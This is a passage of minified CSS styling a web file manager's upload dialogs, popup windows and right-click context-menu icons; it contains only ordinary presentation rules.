span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.server_dwonload_textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server_dwonload_textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload .upload_box_tips .btn.btn-default{border-radius:3px;color:#555;}.file_upload .upload_box_tips .btn-group>.btn:last-child:not(:first-child),.file_upload .upload_box_tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px 10px 0;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;}.file_upload .uploader-list .item.success,.file_upload .download_list .item.success{background:#eaf8ff;}.file_upload .uploader-list .item.error,.file_upload .download_list .item.error{background:#ffe8e6;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system_conennt .right_frame .user_list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do_search .search_header .btn-right{ margin:-9px 0 0 -2px;height:23px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group_editor .tag input{ position:relative;top:-5px;} .share_dialog .aui_border{ overflow:auto;} .share_dialog .content_box .content_info .input_line.select_path a.select_btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img,.aui_title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui_title img:hover,.aui_title .x-item-file:hover{transform:scale(1.1,1.1);}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-treeSelf{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-treeSelf:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-treeFav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.x-treeFav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open_the_path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open_the_path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute_to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute_to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy_to .font-icon,.context-menu-list .context-menu-item.copy_see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy_to .font-icon:before,.context-menu-list .context-menu-item.copy_see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav_remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav_remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open_text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open_text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav_page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav_page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon:before,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list 